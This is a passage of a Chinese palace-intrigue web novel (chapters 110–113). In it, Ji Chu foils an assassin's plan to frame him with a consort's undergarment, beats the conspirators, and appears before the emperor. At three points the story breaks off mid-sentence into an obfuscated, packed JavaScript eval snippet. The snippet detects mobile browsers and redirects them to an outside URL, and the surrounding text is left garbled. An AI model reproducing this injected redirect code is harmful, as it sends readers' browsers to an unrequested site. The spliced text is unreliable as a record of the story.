这一刻,李康心里只剩下了崇拜,敬畏,也终于明白为何季褚面对谁,都能游刃有余,手段依旧那么直接狠辣,那般出人意料。 而自己,身为太子连几个皇兄都奈何不了。 瞧瞧人家从小学的啥,自己从小学的啥啊,这能怪他吗? “好了,今天就先讲到这里吧。” 季褚吃饱喝足,剔了剔牙,便准备告辞的离开,毕竟天也不早了。 李康连忙起身,亲自将人送到宫门口,“孤今日方知《论语》教人明礼知理,您这《抡语》教人强身立本,一文一武,相得益彰,竟是这般厉害的学问! 既得少保传授如此至宝,孤定当潜心修**,不负少保一番苦心与厚望! 少保近来为了大婚与孤的课业操劳甚多,还需多多保重身体,切不可因公务繁重累坏了身子,若少保有任何闪失,那不仅是我大梁社稷的一大损失,更是孤的不幸。” “太子殿下谬赞了,臣不过是做了分内之事。 殿下能于喧嚣中守得本心,于变局中稳得住根基,这才是社稷之幸。 臣之所为,不过是如灯下捕影,助殿下拨开些许迷雾罢了。 殿下保重,臣告辞。” 俩人一顿商业互吹,季褚拱手作别,步履从容,很快便消失在夜色中。 第110章 偷袭同居表妹,深夜刺客来袭 昭宁宫。 季褚与太子每一句对话,都呈到了梁皇的御案之上。 梁皇看的直拽胡须,总觉得哪里不对劲,可……细细咂摸回味那番对话的深意,却又觉得条条是道,逻辑缜密,又很有道理的样子。 “圣人,何故忧虑?” 一声柔腻轻软的呼唤自身后响起,带着几分若有似无的香风,袅袅萦绕。只见虞美人莲步轻移,身姿款款,片刻间便已袅袅娜娜地落座于梁皇身侧。 她今日妆扮得极是明艳,一头乌发如瀑,仅用一支细碎的赤金小簪随意挽起,余下青丝如流水般垂落,衬得脖颈纤长如玉。 一双秋水般的美眸顾盼流转,眼波潋滟,似笑非笑,带着勾魂夺魄的媚意。 薄纱下,肌肤莹白胜雪,几可透光,唇瓣染着似樱桃般的艳色,微微嘟起,更显娇憨,又美得让人移不开眼。 梁皇抬眼,面色渐渐柔和,对于其他嫔妃,他是能躲便躲,但对虞美人就没那些顾虑。 无他,根基浅,好拿捏。 “正好爱妃了,且与我说说,你觉得这季褚到底如何?” 虞美人心头一颤,还当是梁皇已经调查出自己和季褚以前的关系。 “臣妾愚钝,不敢妄加揣测,此生唯一的心愿,便是守在圣人身边,为圣人分忧解愁,其他的,臣妾一概不知,也一概不问。” 虞美人一边说,一边偷偷观察着梁皇的脸色。 梁皇挥了挥手,语气平淡,听不出喜怒,“罢了,天也不早了,你且去吧!” “喏!”虞美人心头却悄然泛起一抹难以言说的苦涩。 梁皇可不是让她下去休息,而是让她按例去寝殿后面的偏僻房间,日复一日,雷打不动的摇床…… 更让她酸涩的是,每次还要喊,直到嗓子喊哑才能停,因为这一切都会被起居官一笔一划记录在案,成为史书上梁皇龙精虎猛的作证。 如此耻辱,可她的却不敢有半分违逆,只能屈膝行礼缓缓退下。 踏入漆黑的夜色,虞美人脸上娇柔的笑容瞬间敛去。 这深宫里的所谓恩宠,不过是旁人看得见的繁华,唯有她自己清楚,内里藏着多少身不由己的煎熬。 房间内,烛火摇曳。 她推门而入,目光扫过窗外那片被夜风刮得唰唰作响的树林,又落在屋内那张一碰就嘎吱嘎吱响的木床上。 就在这时,一个大胆甚至有些疯狂的念头,如同疯草般,在她脑海中疯长蔓延。 “若是……若是季郎在此,这漫漫长夜,应该不会那般无趣吧?” 这个念头刚冒头,便被她猛地掐灭。可心底那点不甘与渴望,却如同种子般,悄然扎下了根。 …… 季褚回到教坊司,乐师歌姬已经散去,只剩下几盏油灯,随着窗外刮进来的暖风,忽明忽暗。 穿过大殿,回了自己休息室,韩江雪正坐在案桌前喝茶。 见季褚回来,她站起身,努力挤出一抹微笑,“既然回来了,那就早些就寝吧!” 季褚扫了一眼床榻,发现不仅床都铺好了,下面还放着一张席子,不由警惕的看向对方,“郡主,这孤男寡女的睡在一个屋里,不好吧?” 刷的一下。 见他还敢说这种屁话,韩江雪哪里还装的下去,一抽宝剑,恶狠狠道:“你敢动手动脚,那就看看我的剑利否。” “利利利,老利了。”季褚瑟瑟发抖,“主要是我怕你对我动手动脚,您实力高强,要想对我做点什么,我压根反抗不了。” 韩江雪气的鼻子都快喷火了,“少废话,本郡主才瞧不上你,赶紧睡觉。” “得得得,大晚上的赶紧把剑收了,怪吓人的。”季褚嫌弃的摆摆手,“对了,你先去打点水洗洗脚,都是宫里的东西,不好拆棉花……” 闻言,韩江雪整个人都红温了,窘的恨不能一剑割了季褚狗头。 习武之人的脚,哪有没味道的? 老娘一天走的路,比你吃的米粒都多,就你季褚事儿事儿的,说的好像赵子衿脚上没味道一样。 不过……他不是嫌有味道吗,那就让他帮自己好好按按,熏不死他! 韩江雪轻哼一声,一言不发的转身离开。 季褚笑着摇摇头,关好门,麻溜的解开官服,上床睡觉。 就韩江雪那点小心思,他猜的透透滴,想让堂堂从二品帮她做足疗,人美,想的就不要太美了。 果然,不多时韩江雪便端着一盆热水回了房间。 见季褚居然已经打起了呼噜,砰的一声把水放到了地上。 季褚闭着眼,空气中突然传来一阵淡淡幽香,却是韩江雪已经到了跟前,几乎脸贴着脸,死死盯着季褚。 她这一前一后,不过盏茶时间,他不信季褚真的睡着。 季褚暗暗好笑,大家可都瞧见了,是她主动凑上来的,那就别怪他季某人的骚操作。 季褚突然一噘嘴,韩江雪压根没反应过来,唇上便如蜻蜓点水般被季褚亲了一下。 韩江雪整个人都懵了,却见季褚吧唧吧唧嘴,就好似梦里吃到了什么好东西一样…… 韩江雪银牙咬的嘎吱吱的响,气咻咻的坐到了一旁。 季褚悄悄打开一道眼隙瞄向对方,有些不明所以。毕竟自己都做好了被她晃醒,大骂一顿的准备。 挨揍? 压根不可能挨揍。 有道是一物降一物,只要李清瑶不发话,韩江雪再凶,也不敢真的对他动手。 这一点,他还是很有把握的。 也正如季褚想的那样,韩江雪是越想越气,拳头紧了松,松了紧。 无他,没有正当理由呀! 即便去找表姐告状,就表姐那副**的模样,肯定也会偏袒季褚。 何况,自己实力高出季褚那么多,怎么就被他亲上了? 肯定又是自己的责任,闹不好还会被表姐笑话。 她垂着眸,心中愤懑,余光不经意间扫到了地上的水盆,心里顿时有了主意。 说干就干,立马脱下鞋袜,而后拿起那长长的裹脚布,嘴角浮起一抹恶魔般的微笑。 熏不死你! 想着,她便要用自己的裹脚布,捂住季褚口鼻,可刚一转身,就见季褚已经坐了起来。 四目相对,韩江雪的脸腾的一下红了,颇有种小时候做坏事被家长抓住的窘迫,几乎本能的就想把自己的裹脚布藏起来。 可紧接着,她便回过神来,自己慌什么,要慌也是季褚慌才对。 “郡主,你不会真想趁我睡着,对我做点什么吧?” 季褚那不似看好人的眼神,气的寒江雪奶疼,一梗脖子,怒道:“你,你不是睡着了吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304416|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我觉轻!” 韩江雪:…… 眼见他波涛一般的心口起伏波动越来越大,季褚也生怕给对方气出个好歹,拽了下枕头,倒下留给了对方一个背影,“虽然郡主是习武之人,但睡地上也会伤身,还是咱俩一人一半吧。 天也不早了,早点睡,晚安!” 韩江雪握着裹脚布的手剧烈发抖,最终闷哼一声,丢到了地上,抬脚将水盆勾了过来。 洗完脚倒下,心里那口气怎么想怎么不顺,抬腿就是一脚揣在了季褚腰上,“再打呼噜滚下去睡!” 季褚:…… “不是,你讲不讲理,这可是我的床!” “反正你要吵到我,下一脚,绝不留情。”韩江雪起身把移到墙角的炕桌搬到中间,分好楚河汉界,立马吹了灯背过身躺下。 多和季褚说一句,她都感觉自己会减寿。 就这,还想让自己嫁给他? 呸,简直想瞎了心。 真不知道表姐那是什么眼光,这种人也看的上…… 季褚无语的翻了个白眼,也只好倒了回去。 夜,渐渐深了。 迷迷糊糊中,季褚便感觉空气中多了一股说不清道不明的味道。 有点香,但那股香味说不清道不明,压根形容不上来,而且越闻,脑子越沉…… 刚醒,迷迷瞪瞪的脑袋转不过弯,可很快季褚便意识到了不对劲,刚要起身,一只小手突然捂住了自己的嘴。 定睛一看,就见韩江雪早就坐到了一旁,指着窗户一角低声道,“别出声,有人放眯烟。” 季褚打眼看去,借着微微的月光,果然看到窗户上**来了一根竹儿管,一道烟柱,自管子喷进屋里。 “你继续装睡。”见他点头,韩江雪松开手,拿着剑,用衣服遮住口鼻,小心翼翼贴到了窗户边上。 玩心大的人。可以说是不分场合。 有那么一瞬间,季褚都想走过去,对着管子吹上几口,看看能不能把外面的人吹倒。 但为了稳妥,还是没敢这样干。 万一对方肺活量比自己的大,那倒霉的不成自己了? 当即把被子往上一拉,遮住了口鼻。 然而,这一等就是半炷香的时间。 嘎吱一声,窗户打开了一道缝。 接着就瞧见一张蒙着面的脸,借着幽幽月光,她眉眼如画,额前还散落着几缕碎发。 腿长不长隔着墙看不到,但细支结的硕果太明显了。 突然,季褚就感觉韩江雪待在这有点多余了。 高手身上有种说不清道不明的势,所以厉不厉害,季褚能感觉的到。 真以为人均无力韩江雪呢? 像是窗外这种此刻,他手拿把掐。 此刻小心翼翼观察了一会儿,立刻翻身进了屋,刚要关窗,一把锋利的宝剑,已然搭在了对方脖子上。 季褚出溜一下坐起身,刚想喊剑下留人,哪成想女人脑袋一歪,直接栽到了地上。 季褚:??? 韩江雪示意他不要过来,用力一脚踢在了对方腰上,见对方没有任何反应,这才拿剑小心翼翼挑开了对方面巾,皱眉道:“**。” “**?”季褚麻溜的穿鞋下床,果然,就见那张精致的小脸已经变成了酱紫色,嘴里还有沫子溢出。 第111章 你丫什么档次,也配和本官讲话? “这应该是谁家安排进宫的死士!”韩江雪收了宝剑,“宫里进了刺客,你且穿好衣服,咱们这就去汇报给慎刑……咦,你做什么?” 她话还没说完,就见季褚已经蹲下身,扒开了女人身上的衣服。 “当然不是趁热……”季褚无语的解释道:“这此刻一上来就放迷烟,而不是毒气,说明并非是奔着要我命来的。 而且刚被发现就服毒自尽,说不定……” 季褚还没说完,已经从女刺客怀里取出一团布,对着韩江雪一抖,“你看这是啥?” “肚兜……”韩江雪面红耳赤,“季褚……你你你……” “冷静,这不是女刺客的。” 季褚赶紧指了指刺客的尸体,韩江雪这才注意到,此刻的肚兜完好无损。 目光挪回季褚身上,却发现他正拿着肚兜放鼻子下面嗅来嗅去。 韩江雪是彻底服了这个老六,真是到了什么时候,都不忘占便宜。 不过那种被季褚牵着走的感觉属实让人不爽,她这回也学乖了,倒要看看季褚能闻出什么。 “挺香的,以我的经验来看,应该是刚脱下来没多久。” 韩江雪:…… “你看看这是啥花?” 季褚指了指上面那朵似是百合,又像是大号茉莉的花卉图案说道。 “此乃玉簪花。”韩江雪哼了哼,心想终于有你不知道的了。 “宫里的贵人喜好这种花的多吗?” “马贵妃酷爱此花……你的意思,这是马贵妃的?” 季褚面皮一抽,赶忙把肚兜从鼻尖拿开,“我也不确定,不过根据目前情况来看,刺客此行,八成是打算把此物留在我房间。 一旦被人查出来,肯定就说不清了。” “那还等什么,赶紧通知慎刑司啊!” 季褚摇了摇头,站起身,目光渐渐变的阴沉起来,“打得一拳开,免得百拳来,既然人家都出招了,上报慎刑司,岂不是显得咱俩很好欺负? 不想让咱俩睡,那就都别睡了。” 韩江雪愣愣的看着季褚,就感觉……他那副睿智的样子,确……确实挺迷人的。 “咳!”季褚微微蹙眉,“你想什么呢?” 韩江雪心头一跳,不敢与其对视,慌忙垂眸看向了尸体,“那现在怎么办?” “这样,你换上刺客的衣服出去溜达一圈,我断定,为了稳妥,这种掉脑袋的事儿不会亲自接头,转悠一圈你就去找太子……” 季褚巴拉巴拉,简单说了一下自己的计划。 栽赃只是开幕,演员即将登场。 虽然太子的金令就在自己手里,按说他可以在皇宫横着走,但那也只是按说,大晚上的,万一人家来强的先斩后奏咋整? 所以稳一手绝对没坏处。 韩江雪点点头,立刻扒掉了刺客衣服,然后直接披在了自己身上。 季褚心道又套一层你也不嫌热,索性意兴阑珊的收回目光。 等韩江雪翻窗离开,便拿被子盖上尸体。 想了想,还是不够稳妥,又悄咪咪溜到大殿拿了一个青铜灯架回来。 现在的他,只管开团,等着系统自动匹配队友。 诚如他想的那般,不多时,一阵阵喧哗随着阵阵甲胄摩擦声,由远及近。 外面的动静,自然也惊醒了教坊司里住的乐师舞姬。 季褚稳稳坐在屋里,听着外面翻箱倒柜的吵闹,心里不免一阵好笑。 咱这可是万恶的古代,你讲什么行为正义,直接进来抓现行不就好了? 做事一点不痛快,能成什么事儿? 难道不知道,这种事拖的越久,越不利吗? 不过这样也好,毕竟太子赶过来,也需要时间。 很快,门外便传来了吴副总管的喊声,“少保,少保……您睡了没?” 季褚走上前直接把门打开,吴副总管满脸堆笑,看不出任何问题,但一旁另外一位老太监明显面色一变。 “少保,这位是玉漱宫的赵公公,这位是殿前司的宋千户。”吴副总管简单介绍了一下,又生怕惹的季褚不块,解释道:“贵妃娘娘宫里丢了东西,有人瞧见那贼跑来了咱们教坊司……” 不等他说完,季褚直接摆摆手,“不用搜了,那贼已经服毒**。” 说着,季褚让开门口,指了指地上被被子盖住的尸体。 见状,吴副总管的脸刷的一下失去了血色,嘴唇哆嗦着,本能往宋千户身边靠拢。 一旁的赵公公早已按捺不住,率先一步挤开众人冲进屋内,一把掀开那床锦被。 看到尸体,赵公公一屁股坐在了地上,尸体在这,那方才出去的人是谁? 细思极恐! 难道娘娘的计划提前被人知晓了? 不不不,肯定是意外。 季褚年纪轻轻,身居高位,如今来了教坊司这种地方,自然少不得女子投怀送抱,说不定人来的时候,季褚还在忙活,被他提前察觉。 虽然无法栽赃,把马贵妃一块陷进去,但人死在这,未必不是一件好事。 反正,娘娘的目的是让季褚死。 祸乱宫闱,是死。 宫中**,同样是死。 想明白这一点,赵公公脸上的神色瞬间从惶恐,变成了愤怒,转身指向季褚,本就阴柔的声音因为拔高,显得异常尖锐,“季,季褚,你好大的胆子,竟敢在皇宫之内行凶**,还把人扒得这般精光,你是无法无天了不成?!” 季褚嗤笑连连,“行凶?呵呵,公公你未免太武断了些,你哪只眼看到本官行凶了?” “人证物证皆在,由不得你狡辩。”说着,赵公公看向了宋千户,“宋大人,还请速速拿下此贼。” “季大人,得罪了。”说时迟,那时快,宋千户伸手就要去抓季褚。 “我看谁敢?”季褚怒喝一声,早就攥手里的太子金令直接怼在了对方脸上,“看仔细了,这是什么?” 金令上两条金龙熠熠生辉,太子亲临四个大字刻在中间,还能是什么? 宋千户面色骤变,只觉一股寒意从脚底直冲天灵盖,匆忙后退单膝跪地,“末将宋濂,见过太子殿下。” 说完,飞快地给赵公公递了个隐晦的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304417|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那意思再明显不过,让他开口,只要他开口,自己就抓人。 季褚冷哼一声,心道真不枉自己舍下老脸昧下此物,关键时刻,是真管用。 季褚转过身,居高临下的看着那死太监,目光冷冽如刀,“赵公公,你难道不该给本官一个合理的解释? 尸体的死因都未查验,连半分证据都没有,你便不分青红皂白,一口咬定人是本官杀的。 低头做什么,抬起头来,告诉本官,你丫哪来那么大的底气?!” “人证物证皆在,容不得你辩驳。”赵公公抬头喊道,只是余光一直看着外面。 “呵,好一个人证物证,本官看你就是受人所托,和刺客一伙儿的,栽赃陷害,构陷忠良?!” 季褚也发现了不对劲,一边说,一边朝着房间里面走去。 “你放屁,你血口喷人。”赵公公脸色瞬间变得惨白如纸,额上冷汗涔涔。 “我就喷你了怎么滴?”季褚上前就是一脚重重踹在了赵公公肩上,“你丫什么档次,也配和本官讲话?” 说话间,更是直接拿起了青铜烛台。 武器在手,天下我有。 见赵公公想起来,劈头盖脸砸了下去,“让你犟嘴,让你丫犟嘴。” 赵公公吱哇乱叫,慌乱就要往外爬,“宋千户,你还愣着作甚,赶紧将这狂悖之徒拿下!” “还敢狗叫,还敢狗叫……急了是吧?没法跟你后面的主子交代了是吧?”季褚掀着官袍砰砰又是两脚,没办法,烛台太高,不好施展, “哎呦,哎呦……咱家没有,咱家只是秉公办事,人死在你房间里,自然要拿你问话,宋千户,难道你要眼睁睁看着咱家被他当场打死?” 宋濂暗骂一句废物。 他要真**你,自己还省心了。 满朝上下水不知道季褚那嘴跟抹毒一样,和他逞什么口舌之利,先把人带回去才是正道。 “住手!”宋濂站起身,握住了手中刀柄,目光也变得凌厉起来,“季大人,事出蹊跷,眼下再多争辩也无用。 既然都是误会,就请大人跟末将走一趟殿前司!当众查验尸体,查明死因,只要大人清白,末将定禀明圣人,还大人一个公道。 可若是大人执意不肯,休怪末将不客气,即便太子金令在此,末将也得按宫规办事!” 季褚冷笑连连,“闹半天你特娘也是个脏东西啊! 你又是什么档次?你几品?你配吗? 真当老子是吃素的,看不穿你们那点小心思? 去了慎刑司,还不是你们说什么就是什么?” 这话一出,宋濂恶周身的戾气已经达到了实质,既然话已挑明,那也没什么好说的了。 事到如今,季褚不死,死的就是自己。 那就只能让季褚**好了。 苍啷一声。 宋濂直接抽出了佩刀,“既然大人执意不肯配合,那就别怪末将不敬了!” 季褚心想老子可是一招超人,会怕了你? 当即将烛台放倒,拖在了地上,“来啊,你的刀利,吾的烛台未尝不利!” 第112章 被执法的把执法的给抓起来了 如此剑拔**张的气氛,属实给吴副总管吓懵逼了。 都是宫里老人,啥腌臜事儿没见过。 可今天这出儿实在是太刺激了。 他想躲,但此刻外面已经被宋濂带来的金甲武士包围,只能低头装鹌鹑。 宋濂见季褚一副视死如归的样子,也不免有些棘手。 毕竟,他也只是想吓唬吓唬季褚,好把人带去慎刑司。 季褚真死在了慎刑司,届时往畏罪自尽,狱中暴病上一推,他再找个小吏顶罪,便能全身而退,顶多落个看管不严的过失。 可若当场砍了季褚,那便是擅杀大臣,抗逆太子金令,罪名天差地别,到时候谁也保不住他。 宋濂脸上的戾气越来越盛,“季大人,当真要逼末将动手?你可要掂量清楚,真在这里动起手,性质就彻底变了! 本就是一桩小事,只要大人跟我们走一趟,当面说清楚,查明白,一切都好收场。何必非要闹到刀兵相见,让大家脸上都不好看?” 季褚顿时听出了对方的色厉内荏,“废话少说,吾要面圣,我看今日何人敢拦。 还有后面那些将士,我相信尔等都是被宋濂,刘公公之流蛊惑的,我劝尔等不要助纣为虐。 不瞒诸位,本官早就看穿了一切,并且已经让人去请太子,现在就是在钓鱼执法。 现在谁帮本官拿下宋濂,待会儿到了圣人面前,本官便帮他请旨,位置就一个,谁第一个上,位置就是谁的! 升官发财,就是现在。” 宋濂简直气笑了。 亏他季褚自诩聪明,不是过命兄弟,他今天敢带出来吗? “哈哈哈哈……” 嘎的一下。 宋濂的笑声戛然而止,整个人踉跄着朝着前面扑倒。 宋濂懵了,刹那的懵逼后,也意识到这是一个绝佳的机会,哪还顾得上谁踹自己,手腕一番,刀尖直直朝着季褚刺去。 啊死吧! 到时候,一切责任都是踹自己那个王八蛋的。 然鹅,季褚反应相当迅速,托起的青铜烛台朝着对方脸上扫去。 砰! “熬!” 宋濂尖叫一声,整个人一蹦老高,白眼瞬间翻到了天上。 可紧接着,外面的金甲武士便呼啦啦的挤进房间将宋濂按在了地上。 季褚面皮一抽,他……真的是想打对方的头,但他忽略了青铜烛台有“触手”。 刚才那一下……荔枝肯定碎了。 “大人,吾等与宋濂不是一伙儿。” “没错,大人,宋濂只是招呼兄弟们来抓责任,其他的兄弟们一概不知。” 季褚缓过神来,正要开口,却听一声尖锐的怒吼自门外传来,“都起开!” 接着,就见吴副总管挤进屋子,一招乌鸦坐飞机,将刚要起身的刘公公压在了屁股下面,对着脸啪啪就是两巴掌,“狗东西,咱家一早就看你不是好人,少保,奴婢已将贼人擒获。” 季褚看着那双满是渴望进步的眼神,莫名想到了姬坤。 虽然这份忠心来的晚一些,但有就比没有强不是。 你不投靠,季少保不强求,但只要是进了他季少保的门儿,再背叛,那下场可老惨了。 “很好!”季褚满意的点点头,“把这俩狗东西带上,随我去面圣。” 季褚一手持金令,一手提着宋濂佩刀走在前面,一行人压着二人浩浩荡荡出了教坊司。 刚到门口,正好撞见带着东宫卫率赶过来的太子。 不知道还以为两拨人汇合,要去逼宫了。 太子愣了一下,不是说危在旦夕,让孤来救么? 他狐疑的看向了韩江雪。 韩江雪也是一脸懵逼,被执法的把执法的给抓起来了,他是怎么做到的? 立刻示意手下让开道路,跳下御撵迎了上来,“少保无恙呼?” 季褚莫名有些感动,赶紧抖了下宽大袖口把金令藏起来,“臣季褚,见过殿下,臣无恙,有劳殿下挂念!” “无恙就好,无恙就好。”李康松了口气,而后看向了被五花大绑起来的宋濂,赵公公。 “殿下,咱们这便压着那俩贼子去面圣,其余人还是撤了吧!”季褚小声提醒了一句,“这么大的阵仗,以免圣人多心。” “也好。”李康点点头,只留下抬御撵的几人,其他侍卫尽数遣回。 路上,了解完事情经过,李康可谓是佩服的五体投地,“少保果然智计无双,危险关头略施小计便能拨乱反正,实在是令孤佩服至极。” “这便是抡语的精髓之处,学而时**之不亦说乎,殿下你就学吧!”季褚叹息道。 “这又是何解?” “学习**之后,时不时就要找人练习,不是很快乐吗?” 李康满脸崇拜,“孤,受教了,谨遵少保教诲!” 韩江雪眼前一亮,顿时就感觉季褚顺眼不少。 她是习武之人不假,因为打小就有这方面的天赋。 可她同样也识文断字,往日里总觉得那些老夫子的教诲迂腐刻板,今日听季褚一番剖析,只觉茅塞顿开,当真是听君一席话,胜读十年书。 韩江雪还沉浸在顿悟当中,李康却已经收敛了笑意,目光落在了季褚藏着金令的袖口上,语气中带着一丝玩味,“少保啊,你不是说的孤的金令不在身上吗?可孤方才怎么好像看到了?” 倒不是他小家子气,因为金令绝非一块普通的金子,那简直就是他的分身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306199|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金令在手,便是权柄在握,无论是暗中调度人手,传递密信,还是在宫外临时决断事务,都能凭此令畅通无阻。 一旦离身,相当于他这个储君断了一条胳膊。 堂堂太子,自然不能当个残疾人。 季褚:…… 咱就说过不去了是吧?就昧你一块金子,你至于的吗? 有那么一刹那,季褚都想直接甩他脸上。 但最终还是舍不得这到手的权利。 他偷偷给韩江雪使了个眼色,意思很是明确,帮我圆过去。 韩江雪嘴角微翘,低头看了看自己的脚,随即眨了眨眼,意思也是相当明确,帮我足疗。 季褚暗暗咬牙,用眼神同意下来,这才说道:“殿下莫要误会,臣绝非是想贪了金令。 说起来还得感谢殿下提醒呢! 若非殿下提及,我委托郡主回府取来,臣怕是就等不到殿下的救援了。” “是么?”太子又不傻,和季褚接触了这么久,多少也了解一些季褚的脾气,秉性,下意识看向了韩江雪。 表妹心直口快,自然不会撒谎,最重要的是,他似乎和季褚不对付。 倒不是他想落季褚面子,实在是金令对他来说太重要了。 况且只要韩江雪矢口否认,落季褚面子的人就是她,关孤何事? “是!”韩江雪点了下头,“是我取来的,表兄,我看你那金令放在季大人手里挺好,你手底下做事的人,还有比季大人更得力的吗?” 李康:扎我心了熬,表妹,没想到你是这样的心直口快。 “殿下,我本打算等你大婚后,再将令牌还你,既然你想要回去,那就给你吧,也省的你担心臣昧下这二两金子。”说着,季褚一掏衣袖,将令牌递给了对方。 李康;…… 我还能收回吗?我还敢收吗? 赶紧抬手挡了回去,“少保此言差矣,孤就是随口一问,临安说的对,没有人比季少保更得力!” “您还是收回去吧,微臣怕给您掉了。” “无妨,掉了咱就再让内务府重新打造一块。”顿了顿,李康还真怕季褚卡他bug,补充道:“能不掉,尽可能的不要掉,毕竟,事关重大。” “殿下放心,人在令在。” 说话间,一行人已经穿过好几道宫门,来到了昭宁宫。 “见过殿下。”刘洪早就得到了消息,一早带着人站在门口,看似等候,又何尝不是防备什么。 这也就是太子带的人少,不然怕是后宫都进不来。 “刘公公,孤要见父皇。” 刘洪使了个眼色,立刻有人上前将宋濂和刘公公接管过来,随即让开门口恭恭敬敬道:“殿下,郡主,季大人,请随老奴来。” 第113章 虞美人,深夜小纸条 三人踏入大殿时,梁皇身着一身明黄常服,面色倦怠地倚坐在御案前,左侧坐着马贵妃,下首静立着虞美人。 他们赶来的路上,前因后果早已有人飞速禀报入后宫。 梁皇此刻心中只剩两个字——心累。 且不说一边是枕边宠妃,一边是总能给自己惊喜的肱骨之臣,都得给个说法。 单是皇宫大内之中,竟敢发生偷盗嫔妃贴身之物,再栽赃陷害当朝大臣这等丑事,就已经触碰到了他的底线。 这分明就是秽乱宫规,败坏皇家体面,搅乱朝堂人心的贼子行为! 于情于理,于规于法,都绝不能容。 可梁皇心里又比谁都清楚,这种龌龊事,查到最后也只会是一笔烂账,根本查不出真凶,也查不得真凶。 真要刨根问底,把宫里那点腌臜事全都抖搂出来,难道要废后,惹得朝堂动荡? 最后丢的不是别人的脸,是他皇家的脸面,是大梁的体面。 三人行完礼,梁皇缓缓抬眼,语气疲惫却带着不容置喙的威严,“此事朕已知晓,爱妃和季卿受委屈了,朕让慎刑司严查,一定会给你们一个公道。 宫闱之事不可闹的沸沸扬扬,今日之事变到此为止,需以大局为重,谨言慎行,谁也不许再提。” 季褚早就想到会是这种结果,说起来,这终究是人家皇帝的家务事。 反正团他已经开了,接下来如何就得看队友给不给力了。 马贵妃眼圈一红,盈盈起身,屈膝跪在了梁皇身边,拉着梁皇的裤腿,声音说不出的凄婉,“陛下……臣妾心中实在委屈啊,先是让臣妾宫里的宫女偷盗,又令臣妾宫里的太监借机生事,一环扣这一环,分明就是奔着要臣妾和季大人的命去的。 这般周密歹毒的计策,凭两个低贱奴才,哪里有这么大的胆子? 不是高人在背后撑腰授意,他们又怎能调动得了殿前司的人? 谋划之深,想想臣妾都觉得脊背发寒。 今日害的是臣妾,臣妾再委屈,再难过,也都能忍。 可若是他日,有人将这等手段用在陛下身上,臣妾……臣妾怕是要哭死,也追悔莫及啊!” 季褚闻言倒吸一口凉气,这马贵妃牛啊,句句不提皇后,可句句都在说皇后。 殿内瞬间陷入死寂,连空气都仿佛凝固了。 梁皇的脸看不出喜怒,但任谁都能感觉到对方身上散发的恐怖龙威。 沉默半晌,梁皇垂眸亲手扶起了马贵妃,眼神带了几分柔和,“朕知道爱妃受委屈了,也明白你心中所忧。朕会令慎刑司严查,此事自有定论,爱妃也无需忧虑过甚。 天色不早了,爱妃先回去歇息,朕明日去你那用膳,叫上长平那丫头。” 闻言,马贵妃心中虽有不甘,但也听出了梁皇的弦外之音。 她心里明镜一般,仅凭眼下这点事,根本动不了皇后分毫。梁皇明日不去皇后宫中,反倒主动去她那里用膳,这便是最明确的态度,也是最实在的胜利。 不过丢了一个肚兜罢了,这一局,躺赚。 她连忙敛去泪水,温顺屈膝谢恩,声音柔婉得体,“臣妾遵旨,谢圣人体恤,天也不早了,臣妾这便告退。” “臣妾送送姐姐。”虞美人温柔缱绻的说道。 “有劳妹妹了。”马贵妃微微颔首,路过季褚顺便给了他一个淡淡的微笑。 季褚:…… 这漂亮姐姐,绝对是故意的! 他下意识瞄了李康一眼,却见对方神色如常,心下不由一阵满意。 可他哪里知道,李康对这种小心机早就见怪不怪了,只是心里依旧难受的紧。 这一波,皇后倒霉,马贵妃重新获宠,似乎只有他大晚上的白跑一趟。 “你们也都下去吧。”梁皇不耐烦的摆了摆手。 “儿臣(臣)告退……” 殿外夜色微凉,晚风带着宫墙内的桂花香,吹散了几分大殿内的压抑。马贵妃早已被宫人簇拥着离去,虞美人送完人站在台阶下,正假意整理衣袖,目光却隐晦地扫向季褚。 季褚心里暗暗叫苦,知道虞美人定有话要对自己说。 他转头看向身侧神色依旧的李康,开口道:“殿下,夜色已深,就让郡主护送您回东宫吧,臣也能安心些!” 李康本就心情不佳,微微颔首朝着台阶下走去。 “恭送太子。”虞美人垂下头,恭敬立在一侧,最后一直将人送到宫门口,目送御撵远去。 周遭还有不少宫人,虞美人也不敢做的太过,只是转身无意间砰了一下季褚胳膊。 季褚看到了对方手指下的纸条,快速接过塞进了袖口,“抱歉,娘娘!” “无妨!”虞美人浅浅一笑,“夜色已晚,季大人也早些回去休息吧。” 说完,她便不再多言,转身朝着宫殿走去。 “恭送娘娘!” 季褚躬着身,待虞美人那袅袅婷婷的倩影消失,这才暗暗松了口气,指尖捏着袖口里的纸条,快速走进了狭长 